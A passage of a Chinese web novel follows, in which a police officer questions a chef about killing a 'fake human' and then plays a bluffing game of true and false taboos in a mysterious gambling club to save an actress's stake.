绝望蔓延开来。
而后，梦境陷入长久的黑暗，叶枝感到仿佛生长出藤蔓，将她死死困在其中。
……
睁开眼时，闹铃已经响过头了，叶枝啪的按停，坐起时腰酸背痛。
不过奇怪的是，肩膀一点也不疼了。
叶枝举起左臂，不疼；抡一抡胳膊，不疼。
再跳个海带舞，还是不疼。
她忙拆开肩头的绷带，发现伤口奇迹般消失了，衣服下皮肤光洁如新，连一点疤痕都看不到。
最近发生的怪事太多了。
先是遇见声称不是伪人的猫头鹰，诱骗加入俱乐部，而后认识一堆牛鬼蛇神。
上一次中蓝环章鱼的毒，是祝扶桑用积点救了命。
这一次呢？
总不可能是自己有超强的愈合能力吧？
在这个时代，基因编辑技术仍是伦理禁止的，实验研究早就叫停，技术层面几乎停滞。
叶枝怎么也想不通。
鬼使神差下
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，她抬起信环打电话给佟局长，主动申请前往H区协助调查。
佟局长很轻松便批准了。
昨晚那案子极大提高了D区警卫司的声望，她巴不得叶枝再多管点闲事。
太阳悬挂高空，红得像梦中那条巨龙的舌尖。
叶枝乘车到H区看守所时，大郝正在培训实习生。他看到叶枝来了，忙收回全息幻灯片，笑脸迎了过来。
大郝讶异道：“你的肩膀没事了？”
“问题不大。”叶枝报以一个爽朗的笑容，同时出示上级盖章的审讯证。
大郝很痛快：“没问题，去吧！”
叶枝走进审讯室，接了杯水。
她年纪不大，却格外喜欢热水，尤其是泡玉米须茶包的，能让生活有种平静的疯感。
两个警员将莫冬青押到审讯室，把他在台子上拷好，退到房间角落。
莫冬青仍然面色惨白，整个人毫无生气，狭长的丹凤眼中布满红血丝。
叶枝在他对面坐下，先沉默着盯他看一会儿，他毫无反应。
“如果不从实坦白，刑期可能会很长。”
“我无所谓。”莫冬青面无表情。
叶枝仍不完全相信：“你怎么会不知道他是伪人？”
“我认识他很多年了。”莫冬青顿了顿，仿佛在狠狠咬牙，“我确定他不是伪人，这是实话。”
叶枝追问：“怎么确定的？”
莫冬青沉默。
就好像火舌已穿透他的身体，他再吐不出一个字。
“那你一开始为什么不让我们进后厨？”
莫冬青露出苍白的微笑：“我不喜欢别人侵犯私人领地，警察也不行。”
“后厨算私人领地？”叶枝不可思议。
“对于我们这种人来说，当然算。‘莫须有’是我的身体，你们进去，相当于剖开我的胃，在胃酸里游泳，我消化不了。”
很奇特的比喻，像是边打架边报菜名的人能说出来的。
叶枝哑然失笑：“仅此而已？”
“仅此而已。”莫冬青的表情好像在说，再多的就无可奉告了。
叶枝沉吟许久。
她拿起莫冬青的档案记录，发现这个人的档案少得出奇，框中标了三个字“出家人”。
原来是个武僧？还是个长发飘飘，吃牛油辣锅的武僧！
在两人僵持不下之时，大郝突然闯进审讯室，急急忙忙的。
“76号嫌犯莫冬青，你可以走了。”
所有警察震惊到脸颊抽搐。
唯有莫冬青眼睛都没眨一下。
大郝见状，补充解释：“上级要求放人，说是影响不好。”
叶枝知道，这不符合常理。
她更知道，上级的脑回路更不合常理。
可她无权插手H区的案子，更无法改变上级的决定。
说起来，最阶级分明、弱肉强食的地方不是俱乐部——而是这个社会。
在H区警卫司登记完，出来时已是正午，日光在灰蓝的天空中若隐若现。
叶枝双手插入兜中，即将入冬，风越发凉了。
这一天是新塔隆的法定节假日“下元和平节”，全体公职人员会放半天假。
节假日三倍工资，存款月光的可怜虫们争着轮班，叶枝下午就不用上班了。
不知是不是错觉，七面骰的颜色变浅了。
像是有什么从中抽走了一般。
叶枝这才想起，这周俱乐部的时长还没有完成。
她握紧七面骰，轻车熟路，心里想着要去俱乐部，随便拐过一个路口，就真的来到了那条街。
进入俱乐部后，刚进入走廊，她就碰到了熟人。
叶枝大吃一惊，这白衣飘飘的长发美男，不是莫冬青是谁！
只见莫冬青靠在墙边，悠悠摇着他那把扇子。
“这年头，犯罪的成本真低啊，三百积点就能无罪释放。”
15.真假禁忌.壹
“怎么是你？”叶枝很难找到合适的形容词，来形容她现在的震惊。
紧接着，她反应过来了重要的一点。
难怪上级放人放得莫名其妙！原来是俱乐部积分从中作梗！
莫冬青微微仰起头：“我只是没想到，叶警官也是这的人。”
“最近刚加的。”
莫冬青看一眼她头上的数字，笑道：“在下十分信服。”
而他头顶的数字有“18700”，是叶枝目前所见过最高的。
叶枝露出不明觉厉的神色。
她也隐隐猜出，为什么肩上的伤好得那么快，无非又是个有自知之明的好人罢了。
“一周前，我只有八千。”莫冬青仍眯眼笑着，“当积点越多，每一次赌的就越大。”
再守财的守财奴也没必要攒这么多。
叶枝问：“你想退出俱乐部吗？”
莫冬青抬起扇子，在空中欣赏，和扇面上的龙直勾勾地对视。
“在下只爱好吃吃喝喝，没追求，没上进心，所求之事只有一件。”
“是什么？”叶枝实在想不出，还有什么愿望，值得花费好几万积分。
“消灭世界上所有伪人。”
空气安静。
叶枝竟不知道该回什么。
莫冬青斜眼瞥过来：“莫非叶警官不许我们这些小人物，有远大的理想？”
“不！我只是……很意外。”叶枝肃然起敬。
从那一刻起，她内心的目标也有了变化。原来积点还可以消灭伪人！
这个社会之所以百兴俱废，正是因为不断侵入的伪人，毁灭蚕食着各个角落。
如果心系天下，这个理想简直再好不过，甚至能够重赋社会活力。
“需要多少？”叶枝好奇。
“五万。”
竟然也是五万。
也就是说，退出俱乐部和消灭伪人不可兼得。
“所以你才那么坚定地杀了伪人。”叶枝仿佛明白了什么。
能以牺牲自由为代价的，对于这个人来说，一定是高于生命的事。
一谈到这个话题，莫冬青脸上的笑容骤然消失。
“陈听寒不是伪人。”他嘴角微颤。
翩翩少年的表情坠入冰河，比这个时代的日出还要冰冷，叶枝甚至害怕他会收起扇子打人。
“那你能解释一下，他为什么会成‘橡皮人’吗？”
莫冬青眼眸一颤，情绪突然控制不住：“我不知道！那就是他！我太了解他了，我向天发誓，他真的是人。”
叶枝在审讯的过程中，经常会碰到犯人情绪激动的情况，多半都是因自责或被冤枉。
她柔声安慰：“你不必自责，也许你杀掉的是跟他长相相似的伪人，不是他。”
“我杀的就是他！我亲手杀的……是他。”
咔嚓。
扇子合起，寒光乍现。
叶枝一惊，尽管契约明确禁止暴力，她还是条件反射似的吓出一身冷汗。
这时，一个数字的声音在背后响起。
“我证明，他说的都是真的。”
叶枝转头，只见花悬正站在斜后方，瘦成纸片的身躯悄无声息。
花悬略显憔悴，烟熏妆也没顾得上化，积分倒是过万了，看来又赢过了很大一笔。
叶枝不可思议：“你也认识？”
“嗯。”花悬懒懒地应。
真是件怪事。一个在龙岗，一个在西京，竟然都认识所谓的陈听寒。
祝扶桑不知从哪里冒出来，一把搂住花悬的肩头。
“你们在说寒兄？”
花悬被她撞得一个趔趄，大明星高挑的身姿挂在她矮瘦的身上，很不协调。
叶枝更震惊了：“你也认识？”
“俱乐部的人嘛，莫老板的好兄弟，年初他俩合伙赢了花花五千积点。”
“不许叫我花花。”花悬推开她。
祝扶桑故意凑到她耳边：“哗哗哗哗，你训我，我眼泪都流出来了。”
花悬：“……”
祝扶桑无论说什么做什么，都不会有人跟她生气。
果然是个看脸的社会。
“怎么回事，你们都认识陈听寒？”叶枝尚没搞清楚状况。
祝扶桑：“他也是俱乐部成员，跟我们一样。”
原来是这样。
那一切就可以说得通了。
莫冬青靠在墙边，已经镇静了许多，却未再说过一句，手中的扇子也没再张开过。
祝扶桑继续：“其实寒兄很厉害的，能赌过花花人几乎没有，可惜强中自有强中手，最终还是变成债犬了。”
“谁赢的？”叶枝好奇。
虽然她刚来没多久，经过前两次对决，已觉俱乐部的水深火热。
到处都在出老千，每场比赛都像诈骗。
花悬顿了顿：“那人应该早就赚够五万积分了，退了。”
“很不幸，我记得莫老板想捞寒兄，寒兄还是没能在洗牌大会中翻身。”祝扶桑食指点着下巴，目光略悠远。
“洗牌大会很难吗？”叶枝问。
祝扶桑眉毛一颤，好像在摇头，又好像在点头。
“被同一个人坑了，”花悬微微叹口气，“如果是我，我不会再跟那个人比第二次。”
叶枝总觉得这事很蹊跷，一时半会又说不上哪里不对劲。
“洗牌大会后仍是债犬，会怎么样？”
花悬耸耸肩：“不知道，没再见过他。”
莫冬青还是沉默。
叶枝继续问：“后来呢？为什么会在‘莫须有’的后厨？”
“欸？”祝扶桑和花悬不约而同地愣住。
莫冬青扭开头，把扇子挂上腰间。
祝扶桑走到他身边：“莫老板，怎么回事？”
“后来，他找到我这里，说他惹了事，有黑h帮在追杀他，我就把它藏在我那儿，当他的保镖。”
花悬听到这话，瞪大眼睛。
“后来……”莫冬青说不下去了。
叶枝不知道，该不该替他说下去。
莫冬青低下头：“叶警官知道的。”
“那其实是个伪人，昨晚H区的职能警查到了，现形后，莫老板直接用菜刀刺死了他。”
花悬一直冷峻嘲讽的脸上，终于浮出柔软。
“对不起，请节哀。”祝扶桑低下头。
莫冬青这才佯装洒脱，恢复些许笑容：“过去的事就过去了，悟以往之不谏。”
“这里有伪人玩家吗？”叶枝突然想到。
祝扶桑十分肯定：“我问过O先生，得到的答案是，伪人不可以当俱乐部的玩家。”
叶枝对此并不怀疑。
这家俱乐部的每个细节，无不在宣告它的强大，O先生话一定也是可信的。
“那就是他，我确定。”莫冬青又重复一遍，他总在重复这话。
花悬眉头微蹙，拿不准到底发生了什么。
祝扶桑眨眨眼，没说话。
叶枝提出她的猜测。
“有可能伪人伪装的就是真人，它们只是悄无声息地取代了原主。”
花悬点头，显然认为这个解释比较合理。
祝扶桑问：“莫老板请想一想，后来寒兄再找你时，有没有哪些细节很奇怪？”
莫冬青貌似还在怄气，眼睛笑眯眯的，却没再理会过她们。
这些伪人，是什么时候替代了真人？是如何替代本来存在的人的？
花悬揉揉眼睛，直呼累了，说昨天晚上改画改到凌晨三点，每次见到她不是困就是累。
这年头漫画家有AI辅助，也会这么累吗？
不知不觉中，莫冬青也消失了。
眼看积分随着负利率越来越少，叶枝知道，应该进行下次对决而了。
有了前车之鉴，主动找上门来的大多都有问题。
但叶枝尚没想好，什么样的对决能最大化的利用她的垃圾异能。
难道也学那眼神清澈的大学生，来个画画版石头剪刀布？一局定胜负的那种？
发呆时，耳边传来祝扶桑柔媚的嗓音。
“叶警官，要不要帮我个忙？”
叶枝回过神来，看向她。
“有个人非要跟我对决，我也不得不跟她比，可我知道，我肯定赢不了她。”
叶枝有些为难：“呃，我觉得我可能也不行。”
祝扶桑有7800积分，都直言赢不过这位，且不知何方神圣呢。
祝扶桑笑眼弯弯：“你对决，我连带投资，咱们输赢一体。”
叶枝不明所以地眨眨眼。
“这个人看我不顺眼很久，我也看她不顺眼好久了，”祝扶桑的语气带些许娇嗔，“帮帮我。”
叶枝突然明白过来，那日花悬和老和尚扔七面骰是怎么一回事了。
祝扶桑也投资过，所以才会分走一半积点。
祝扶桑垂下眼：“我的异能什么也帮不上，你相信我。”
叶枝刚想问她的异能是什么，话到嘴边却又缩回去了。在这充满欺诈的鬼地方里，没人乐意泄露自己的异能，那是每一场对决的最终底牌。
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“好吧，”叶枝勉为其难，仍不太自信，“你确定我可以吗？”
祝扶桑笑着点头：“你每场对局我都看了听说了，你没问题。”
她的笑容很好看，比大荧幕上的还要能令人骨头酥掉，有些魅力着实能超越性别。
叶枝答应了下来。
不是因为笑容，不是因为美貌，也不是因为夸赞——因为什么，她也说不上来。
在祝扶桑的带领下，两人走到大厅西北角。
祝扶桑经过时，每个玩家都不禁侧目，叶枝也顺便体验了一把当明星的感觉。
那是个身着青缎旗袍的娇小女人，挽着长发，像极了江南水乡弹唱女子。
祝扶桑喊道：“裴溪竹。”
叶枝一下子反应过来，这不是那个500强企业的最大股东吗！
传闻此人容貌温婉，实则黑心手辣，五年前的金融危机跟她的暗箱操作脱不了干系。
俱乐部真是藏龙卧虎，她已经感叹累了。
裴溪竹看到祝扶桑后，上来第一句即王炸。
“想好了没？你那些照片和视频，我可还没删。”
“我知道，所以才被你要挟，这不来了嘛。”
叶枝满脸震惊。
怎么无意间就听到了惊天大瓜！她发誓，她不是故意要听偶像隐私的！
裴溪竹注意到还来了第二个人，眉头一皱：“搬救兵来了？”
“我有救兵也是我的本事。”祝扶桑眉毛上挑。
“想想你干过的龌龊事，也不奇怪。”
空气中火药味拉满。
叶枝夹在她们中间，吃瓜又吞火药，快要撑死了。
“呵呵，”祝扶桑也不恼，保持着职业假笑，“倒也不必这么揣测。”
而后，两人安静了。
她们不约而同看向叶枝，好像在等待她评论什么。
……
什么世纪难题！
叶枝大脑飞速运转，僵硬微笑。
“第一，美貌也是一种本事；第二，敲诈勒索是不对的，就算在俱乐部也不提倡哈；第三，祝小姐对我有恩，我来报恩。”
“就是，叶警官可是我的朋友！”祝扶桑扬起下巴。
裴溪竹噗一声笑出来：“你管朋友叫‘叶警官’？”
“因为尊敬，尊敬！”祝扶桑大声纠正，“叫‘枝枝’也不是不可以。”
叶枝心想，怎么听起来那么像老鼠。
祝扶桑继续：“我会出很多押注，她跟你比，输了算我的。”
裴溪竹看一眼叶枝头上的积分，不可置信。
“你确定让她代表你？”
“我确定。”祝扶桑直勾勾盯着她。
“你敢押多少？”裴溪竹兴趣乏乏。
祝扶桑红唇微启，轻飘飘吐出两个字：“全部。”
叶枝再次震惊，她这个局外人压力拉满。竟然跟宿敌押全部！
裴溪竹的眼神瞬间点亮，白皙的脸颊甚至泛出浅粉。
“全部？7800？”
“没错。”祝扶桑长长的睫毛都没颤一下。
叶枝抬头，她这才注意到，裴溪竹才是她至今为止见过、拥有积点最多的人。
那可是18900积分！
不愧是三十岁做到CEO的人，这头脑肯定不是一般人。
此时此刻，裴溪竹全身上下都写满狂热，耳根都红了。
这里的所有人，简直都是狂热的赌徒！叶枝更自觉格格不入了。
“如果我赢了，把照片和视频删掉。”祝扶桑给出附加条件。
“没问题。”
叶枝从头到尾，就没能插上一句话。
裴溪竹捧起七面骰：“建立对决，请求无相者。”
一只粉红色的机械猫头鹰，从粒子光斑中浮现出来。
“我是‘无相者520号’，请多指教。”
它拥有粉嫩的配色，胸前还有一个爱心蝴蝶结，完美适配它的编号。
“比什么？”叶枝问。
祝扶桑提议：“让无相者决定吧，对双方都公平。”
叶枝赞同。
她前两局被坑，都是因为对方单方面决定了最有利的对决形式。
裴溪竹丝毫没把叶枝放在眼里，自信道：“无相者520号，请建立一个对双方都公平的对决。”
无相者520号脑袋满是运转的风扇声，呜呜呜个不停，在提取整合关键信息。
30秒过去，三方都在屏气凝神。
无相者520号：“对局已生成——对决名称：真假禁忌。”
16.真假禁忌·贰
“本轮游戏按大场结算，请先进行押注。”
祝扶桑右手摩挲七面骰：“我作为叶枝的投资人，投资7800点。”
无相者520号：“投资确认中……”
三道目光齐刷刷地投过来。
叶枝才反应过来：“确认。”
“投资准许，”无相者520号悬浮在空中，蝴蝶结随翅膀摆动而颤颤动，“所赢积点将五五分成。”
裴溪竹目光牢牢锁在祝扶桑身上，笑得毛骨悚然。
“身价二十亿的大明星当债犬？我都不敢想，可等不及把你收入我的公司了。”
“下决心要赌，就要有最坏的自觉。”
裴溪竹听了这话，夸张地鼓起掌来：“好！我就喜欢你这点。”
叶枝一阵哆嗦。
今天怎么这么冷呢，鸡皮疙瘩都起来了。
无相者520号：“请双方进行押注。”
叶枝也不好意思押太少，看看头顶的“404”，这数字有点意思。
“我押200点。”
虽然略显寒酸，已足够表诚意了；毕竟也不是看人家要多少，而是看她有多少。
“16000点。”裴溪竹嘴角勾起。
积点数字立刻飞入猫头鹰的眼睛，刻上了它的机械眼珠。
无相者520号：“押注完毕，构建场景中……构建完毕后，将开始规则介绍。”
三人所处的环境逐渐虚化，闪耀的粒子将她们包围，像极了游戏中虚构的量子之海。
等待过程中，裴溪竹和祝扶桑两人的嘴也没闲着，徒留局外人叶枝悄悄凌乱。
“你那么喜欢把人变成债犬？”祝扶桑，“你这一生都没有过叫良心的东西吗？”
裴溪竹露出关爱智障的眼神。
“跟良心有什么关系？反正这里没一个好人，也算是为民除害了。”
祝扶桑哼一声，忽地把叶枝拉过来：“她可是伟大的警察同志，上次还冒着生命危险救了我的命！”
叶枝莫名其妙就又站到了她们中间。
周围逐渐变成另一间封闭的小房子，距离游戏场景构建完成更近了。
“你是大明星，救你有利可图。”裴溪竹哈哈大笑，“能为一个破愿望卖身进来的自私鬼，能是什么好东西？”
叶枝听不下去了，好心提醒：“你的无差别攻击，好像也包括你自己。”
祝扶桑扑哧一声，笑了出来。
而后，她笑得越发花枝乱颤，脸颊都笑出诱人的桃粉色。
裴溪竹耸耸肩，并不在乎：“我越不是好东西，我越兴奋。”
原来有的人狠起来连自己都骂，而且还很开心。
裴溪竹总带着最温婉的长相，说着最可怕的话，如此反差加倍令人毛骨悚然。
叶枝相信了传言，World Brain的大股东果然是个狠角色。
裴溪竹：“所以好人警官，我可以有幸赢你一把吗？”
祝扶桑也看向她的好队友。
叶枝：“……”
她答可以也不是，不可以也不是。
这时，场景构建完毕，她们来到了一间小厅中。
小厅中有一个沙发供她们坐下休息，旁边有一扇门，门上挂着个“藏宝阁”的牌子。
无相者520号：“现在开始宣布游戏规则。”
三人瞬间站好，竖起耳朵认真听。
无相者520号：“投资者可通过摄像头实时旁观，不得以任何形式参与游戏过程。”
祝扶桑还没反应过来，刚要抗议，就在构建的虚拟房间中消失了。
叶枝压力山大。
这意味着，她单方面决定着偶像的命运。
明明她们刚认识没两周，祝扶桑却如此信任着自己，百思不得其解。
如果祝扶桑变成债犬……想想狗一样拴在走廊里的那些玩家，后果不堪设想！
无相者520号继续：
“每位玩家都有一个箱子，初始装有十块金砖；游戏目标是将尽可能多的金砖转移到自己的箱子里。”
很经典的走私游戏。
可惜，叶枝以前只听说过，并没亲自玩过。
“本次比赛共四轮，每轮分为上下两场。
每轮内，双方轮流担任攻方和守方。
如果上半场是攻方，下半场就是守方，反之亦然。
攻方要进入藏宝阁，5分钟内尽可能多地夺取守方的钱；而守方则可以设定3个禁忌来进行防守。”
不就是打开箱子，拿走金砖，再放到自己的箱子里吗？跟把大象塞进冰箱步骤一样，有什么难的？
接下来，无相者520号道出了关键规则。
“每次，守方可以设置三条禁忌，其中至多一个为‘真禁忌’，剩下的都是无效的‘假禁忌’。
所有禁忌仅能作为一次‘真禁忌’，‘假禁忌’可以重复使用。
攻方每触犯一次‘真禁忌’，大场结算时，会额外扣掉十块金砖。”
叶枝这才明白了游戏难点，并立刻分析出了两条获胜的路：
要么设定严密的禁忌体系，让对方无法夺走自己箱子里的金砖。
要么故意迷惑对手，让对手必须触犯禁忌，额外扣除金砖。
一次扣十块，扣两次就必输了。
“每次进攻时间为5分钟，时间结束后，攻守自动转换。
如果逾期离开，攻方就不能为下半场设置禁忌，攻守转换后，自动沿用上半场的禁忌。”
不光是禁忌方面，原来时间上，也能大做文章。
可以让对方不能提前离开藏宝阁，下半场沿用自己设置的禁忌，是真是假心知肚明，一下子就简单了。
不过，能用来防守的禁忌可太多了，每轮都能找到一个新的。
无相者520号看穿了她的所想，补充一句。
“同类‘守护金砖’的禁忌无论如何表述，都会被视为重复的禁忌，不能再次使用。”
原来如此，那么真正有效的防守禁忌，只有两种了。
“四轮比赛结束后，将清点双方箱子中的金砖数，同时算上因违反禁忌而扣除的金砖数，数目更多的玩家获胜。”
这只猫头鹰的介绍还是一如既往的清晰、逻辑在线。
只是“真假禁忌”的游戏规则实在复杂，叶枝回想着每条规则，一时半会解不开大脑里的乱麻。
裴溪竹也眉头微皱，大概之前也没玩过。
无相者520号张开嘴，噗噗噗，在空中发射几个爱心。
她们的眉头还是没舒展开来。
无相者520号见状：“我们先进行一回合预演赛，结果对正式赛无任何影响。”
叶枝和裴溪竹表示赞成。
“赢家可以选择第一回合先当攻方还是守方。”无相者520号补充。
好吧，也算是有点福利。
紧接着，它的小脑袋上冒出一个投影仪，投出门后房间的景象。
那是“藏宝阁”房间内部，也就是游戏的主战场。
约莫十几平米的小房间内，中间摆放一张长桌，长桌上并排放着两个箱子。
两个箱子的外壳上分别有一个凸起的标志，质感像极了豪车的车标。
左边箱子的标志为一把红色的剑。
右边箱子的标志为一枚金色的铜钱。
无相者520号：“左侧为叶枝的箱子，右侧为裴溪竹的箱子。”
叶枝觉得这两个标志奇怪又眼熟。
裴溪竹表情毫无波澜，一副见怪不怪的样子。
叶枝突然反应过来什么，忙掏出胸口内兜的七面骰，果然发现了一模一样的标志！
七面骰其中两面：
3-红色剑
5-金色铜钱
为什么她是大剑，而裴溪竹是铜钱？
……
或许因为她是警察，执法时经常动用暴力？而裴溪竹是商人出身，难免满身铜臭之气？
祝扶桑插进话来，叹道：“原来你是大剑。”
“你是什么？”叶枝好奇，难道每个人都固定对应一个图案。
无相者520号打
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断她们：“请投资者离开比赛场地。”
然后，祝扶桑还没来得及反应，就从这个房间消失了。
现在，厅内仅剩叶枝和裴溪竹两个大活人。
落针可闻。
安静让她们之间的空气尴尬加倍。
叶枝先开口：“请多指教。”
无论处于何种境地，无论对方是谁，她都要保持那么该死的礼貌，这是做人的基本素养。
裴溪竹微微点头：“请多指教。希望你是个聪明人，不然这个游戏会很无聊。”
叶枝希望天下的人少说话带刺，一个个的比草鱼刺还多。
“裴总吃鱼就别咽刺了，消化不了，不然还得在日后说话时吐出来。”
裴溪竹一愣，紧接着回味起这话的内涵，轻轻笑起来。
“真可爱。”
叶枝：“?”
她头一次知道这能叫可爱。
有钱人的品味真独特。
*
预演赛开始。
选择先手和后手并不算太大的福利，但叶枝选择认真对待。
第一，能用表现迷惑对手；第二，能打探对手的博弈方式。
这时，空中浮现出禁忌规则库。
其中真正有用的守护类禁忌，只有以下几类：
【不能主动离开藏宝阁】
【不能打开自己的箱子】
【不能打开对方的箱子】
一共四个回合，只有三个有效禁忌。
也就是说，必定会有一回合，是三条假禁忌。
无相者520号宣布，拥有积分更多的裴溪竹可以先担任守方，设置禁忌。
叶枝便坐到沙发上等待。
五分钟后，裴溪竹所写的三条禁忌投影到了沙发对面的白墙上：
【不能主动离开藏宝阁】
【不能说话】
【不能打开对方的箱子】
叶枝并不知道以上哪个是真禁忌，而哪些是障眼法的假禁忌。
不过，预赛成绩不计入胜负，刚好可以测试对方的行事风格。
无相者520号：“现在请攻方进入藏宝阁。”
叶枝走进藏宝阁房间。
无相者520号悬挂在墙壁中央，一副猫头鹰型摄像头的模样，大概也在同步直播给摄像头另一侧的祝扶桑。
直接打开裴溪竹的箱子，等待片刻。
作为摄像头的无相者520没有触发禁忌警告。
所以，【不能打开对方的箱子】是假的。
叶枝从裴溪竹的箱子中拿出金砖，再打开自己的箱子，全部放进去。
一切顺利，转移完成。
接下来，该走出房间，结束上半场的进攻了。
叶枝抬头看向电子屏，对方设置的第一条禁忌赫然是：
【不能主动离开藏宝阁】
……
她再次无视了这条禁忌，直接离开了房间。
依旧没有触犯禁忌。
走出房间后，她看到裴溪竹坐在客厅的沙发上，脊背挺得很直。
裴溪竹轻轻鼓起掌来，并作出个“恭喜你”的口型。
所以这一回合的真禁忌是【不能说话】？
叶枝后知后觉，才明白其厉害之处。
很巧妙的设置，既威慑了对方，又能保护自己的金砖。
是的，如果这不是预赛，她是不敢大摇大摆连着无视两条禁忌的！
更厉害的是，那两条关键禁忌都是‘假禁忌’，下一轮比赛还能继续用。
预赛便下这么狠手？
是想给个下马威，还是在提前搞别的鬼？
果然是个可怕的对手。
此前，叶枝只对裴溪竹的“光荣战绩”有所耳闻。
传言去年，裴溪竹曾利用对冲基金制造市场恐慌，半天就套了上亿塔隆铢的利润。
不管怎么说，能在预赛就耍这种阴谋的人，一定还有千千万万个新花招。
叶枝已经提前头疼了。
她那改变温度的垃圾异能，又能创造什么奇迹呢？
17.真假禁忌·叁
现在是预演赛，当然要设置真禁忌，正式赛中会重置，不用白不用。
尤其是作为下半场的守方，她的领先几乎是必然了。
叶枝走到电子板前，准备填写禁忌。
手指刚摸到触控板，她意识到了什么，指尖收回悬停在上方。
“你是为了看我设置禁忌吧，所以三条都是假的。”
沙发上的人没有回音。
还在尝试装哑巴。
“警告没有触发，所以‘不能说话’也是假的。”
裴溪竹耸耸肩：“你走出房间的那一刻，上半场已经结束了。”
“是吗？”叶枝转过身去，和裴溪竹对视，“那你为什么要继续装哑巴？”
裴溪竹表情明显一顿，透出隐隐的吃惊。
叶枝双臂相交，抱到胸前：“反正是预赛，完全可以大胆些。”
裴溪竹不恼，反而笑眯眯道：“叶警官比我想象中还要聪明，不管祝扶桑会不会沦为债犬，我都满足了。”
叶枝尚有一点不理解。
“如果我认为‘不能主动离开’是真，就会丧失设置禁忌的权利，你也就没法摸透我的风格了。”
裴溪竹摊手：“那我也能选择先后手，赚了。”
先后手有这么重要吗？
叶枝察觉到可疑之处，却一时半会没想明白原因。
她不想露怯，面无表情地转过身去，在电子屏上拖拽相应的禁忌。
设置完毕。
叶枝回到沙发前，在距离最远的另一端坐下。
“那我告诉你，我也不设真禁忌。”叶枝声音很平静。
以下是她的禁忌表：
【不能笑】
【不能打开自己的箱子】
【不能打开对方的箱子】
裴溪竹一愣，轻笑两声：“我没理由不相信你。”
说罢，她从沙发上站起，走向藏宝阁。
她的旗袍裙摆随着脚步微微晃动，配上那把墨绿色的发簪，恍若江南水墨画走出来的美人。
叶枝背靠沙发，很软很温暖，像挨着天使的脊背。
不到五分钟，裴溪竹就离开了藏宝阁，预演赛结束。
叶枝从那表情中，看出了胸有成竹。
“这么相信我？”
“我说了，没有理由不相信你，亲爱的警官。”
无相者从墙上飞下来，清点两人的最终资产：裴溪竹的箱子有20块金砖，而叶枝0块。
无相者520号宣布：“本回合裴溪竹获胜，请先手选择第一回合的攻守方。”
“攻方。”
给出答案后，裴溪竹斜眼看来，嘴角勾着暧昧不清的笑意。
对局可以输，气势不能输。
叶枝扬起下巴：“来，让我看看你还有什么计谋。”
……
不对，对局也不能输！她卖身就算了，祝扶桑可不能卖！
裴溪竹翘起二郎腿，摘下翡翠手镯，漫不经心地把玩。
如此悠然自得的模样，已然打响了心理战的第一枪。
叶枝作为上半场的攻方，无暇顾及其它，在心里勾勒首轮的禁忌填写。
*
正式赛，第一回合。
如果在现实世界，这会是纯粹的智斗博弈游戏，在这个充满欺诈的俱乐部里却截然不同。
每个人都有未知的异能。
博弈叠加上信息差，心理战加上异能，双重的欺诈手段，让每个对决难上加难。
第一个难点是，不知道对方的超能力。
第二个难点是，就算知道了对方的超能力，也不知道异能的限制条件，不一定能找到破局的方法。
如此一来，无法针对异能来设置禁忌，那么每条禁忌都有可能无效，或反而意外有效。
快速回味前两次对决，叶枝心里隐隐有一个猜测。
对决是否跟双方的异能有关？
有没有可能，裴溪竹的异能是读心术？这样就能知道哪条禁忌是假的。
契约上有写，无相者作为绝对中立的存在，安排的一切都绝对公平。
那么，这局和自己那个破异能有什么关系？
裴溪竹仍坐在沙发上，管无相者要了杯咖啡，一口口抿得怡然自得。
首先，每次转移金块的数量没有限制，所以一旦有转移的机会，双方都会直接转移二十块金块。
结算前的最后一轮是最重要的，这点她们一定都心知肚明。
为了守好最后这第四轮，第四轮必须要设置“真禁忌”，以限制对方转移金块。
所以，前三轮的用处不是守护金块，而是诱导对方触犯两次禁忌！
规则库内，一共有三条真正有效的禁忌。
假设她们都在第四轮用掉一个“真禁忌”，前三局内必定会有一轮全是假禁忌。
那么问题来了，究竟该在一、二、三轮中，哪一轮不设置“真禁忌”呢？
第一局上半场，守方叶枝的禁忌：
【不能主动离开藏宝阁】
【不能打开自己的箱子】
【不能打开对方的箱子】
“禁忌设置完毕，请守方进入藏宝阁。”
裴溪竹从上至下扫一眼屏幕上的禁忌，毫不犹豫，迈开步子走入藏宝阁。
还是一样优雅的步伐。
叶枝望着紧闭的藏宝阁大门，额角渗出细密的汗珠。
她的压力逐渐积压，从无相者宣布开始的那一秒起，已让她胸腔发闷。
根据中间数法则，正常人保守起见，都会在第二轮或第三轮不设真禁忌。
这是一个经典的博弈论题目。
如果教授在本学期内只点一次名，他绝对不会在第一堂课就点名。
一旦这样做，就默认后面所有课都不会点名，在此之后学生就可以随便翘课。
同样的道理。
如果第一轮不设真禁忌，且被试探出来，后面三局就成了明牌。
五分钟过去了，裴溪竹没有走出藏宝阁。
看来保守起见，她至少相信第一条。
叶枝额角的汗变少了。
无相者520号：“时间到。攻方逾期离开藏宝阁，禁止设立下半场禁忌。”
攻守转换。
裴溪竹因逾期离开藏宝阁，而丧失了设置禁忌的权力，下半场沿用上半场的三条。
叶枝忍不住笑了，裴溪竹看到她的表情，扯了扯旗袍的领子。
“上半场的禁忌自动延伸到下半场，恐怕你也没办法做什么。”裴溪竹不以为然。
叶枝没理会她，径直走进藏宝阁，打开双方的箱子。
果然，裴溪竹没动箱子。
叶枝干脆利落，将裴溪竹箱子里的金砖转移到自己的箱子。
而后，她大摇大摆地离开了藏宝阁。
无相者520号没有发出警告。
裴溪竹靠在墙边，环抱双臂，表情耐人寻味：“所以第一条是假的。”
“如何呢？”叶枝摊手。
兵不厌诈，谁也别嫌弃谁。
第二回合开始。
这一次，轮到裴溪竹先当守方，叶枝先进攻。
对叶枝来说，这半场很简单。
所有金砖已在她的箱子里，她唯一目标就是不触犯禁忌。
裴溪竹很快便设置好了禁忌：
【不能主动离开藏宝阁】
【不能笑】
【不能哭】
无相者520号：“禁忌设置完毕，请攻方进入藏宝阁。”
裴溪竹眯起眼睛，做了个嘘的手势。
她的笑容还是一如既往的温婉，但温婉的外衣下，铺满最刺骨的狡诈。
叶枝没看她，迎着充满笑意的目光，大步走进藏宝阁。
她回想着三条禁忌，再次意识到了裴溪竹的厉害。
这个人心思缜密得可怕，想到了设置针对箱子防守的禁忌没多大用处。理由很简单，上一
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局叶枝自攻自守，金砖在谁的箱子里已经了然。
但是，叶枝仍不敢轻举妄动。
所以，能不能提前离开藏宝阁？该不该拱手放弃下半场的禁忌设置？
叶枝抬头，反复扫视电子屏：
【不能主动离开藏宝阁】
【不能笑】
【不能哭】
时间一分一秒流逝。
理论来说，裴溪竹第一局轮空了，后面每一轮都会有一条“真禁忌”进行防守。
